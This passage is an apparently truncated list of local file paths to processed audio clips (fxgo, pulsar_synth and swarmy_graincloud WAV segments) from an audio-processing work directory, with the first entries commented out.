# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-047.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-048.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-049.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-050.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-051.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-052.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-053.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-054.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-055.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-056.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-057.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-058.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-059.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-060.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-061.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-062.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-063.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-064.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-065.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-066.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-067.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-068.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-069.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-070.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-071.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-072.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-074.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-076.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-078.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-079.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-080.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-081.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-082.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-083.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/fxgo-085.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-019.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-020.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-021.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-022.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-024.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-026.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-028.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-029.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-030.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-031.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-032.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-033.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-035.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-037.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-038.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-039.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-040.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-041.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-042.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-044.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-045.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-046.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-047.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-049.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-050.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-051.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-053.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-054.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-055.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-056.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-058.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-060.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-062.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-063.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-064.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-065.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-067.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-068.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-069.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-070.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-071.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-072.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-074.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-076.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-078.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-079.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-080.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-081.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-082.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-083.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/pulsar_synth-084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-019.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-020.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-021.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-022.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-024.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-026.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-028.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-029.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-030.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-031.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-032.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-033.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-035.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-037.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-038.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-039.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-040.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-041.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-042.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-044.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-045.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-046.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-047.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-049.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-050.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-051.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-053.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-054.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-055.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-056.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-058.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-060.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-062.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-063.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-064.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-065.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-067.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-068.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-069.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-070.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-071.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-072.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-074.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-076.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-078.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-079.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-080.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-081.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-082.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-083.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0000/proc/swarmy_graincloud-084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/fxgo-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk-AUD20200213/AUD-20200213-WA0001/proc/pulsar_synth-008.wav',
